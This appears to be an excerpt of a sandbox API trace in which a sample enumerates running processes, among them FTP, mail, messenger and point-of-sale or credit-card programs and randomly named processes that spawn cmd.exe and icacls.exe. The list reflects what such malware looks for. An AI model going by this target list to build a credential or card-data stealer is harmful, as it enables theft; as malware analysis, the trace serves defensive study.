	[0278.856] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0278.857] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0278.859] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0278.861] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0278.863] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0278.865] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0278.866] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0278.868] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0278.870] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0278.871] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0278.873] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0278.875] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0279.194] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0279.196] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0279.198] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0279.200] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0279.202] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0279.205] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0279.207] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0279.209] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0279.211] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0279.213] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0279.215] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0279.217] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0279.220] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0279.222] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0279.224] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0279.226] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0279.228] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0279.230] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0279.232] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0279.234] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0281.985] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0281.987] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0281.989] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0281.991] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0281.993] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0281.995] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0281.997] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0281.999] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0282.001] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0282.003] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0282.005] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0282.006] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0282.008] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0282.010] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0282.012] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0282.014] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0282.016] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0282.018] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0282.020] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0282.022] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0282.024] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0282.026] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0282.339] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0283.272] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0283.275] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0283.277] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0283.279] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0283.281] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0283.283] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0283.285] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0283.287] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0283.289] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0283.303] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0283.305] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0283.308] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0283.310] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x74, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0283.312] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe3, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0283.314] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0283.316] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0283.318] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0283.320] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0283.543] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0283.545] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0283.547] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0283.549] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0283.551] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0283.553] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0283.555] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
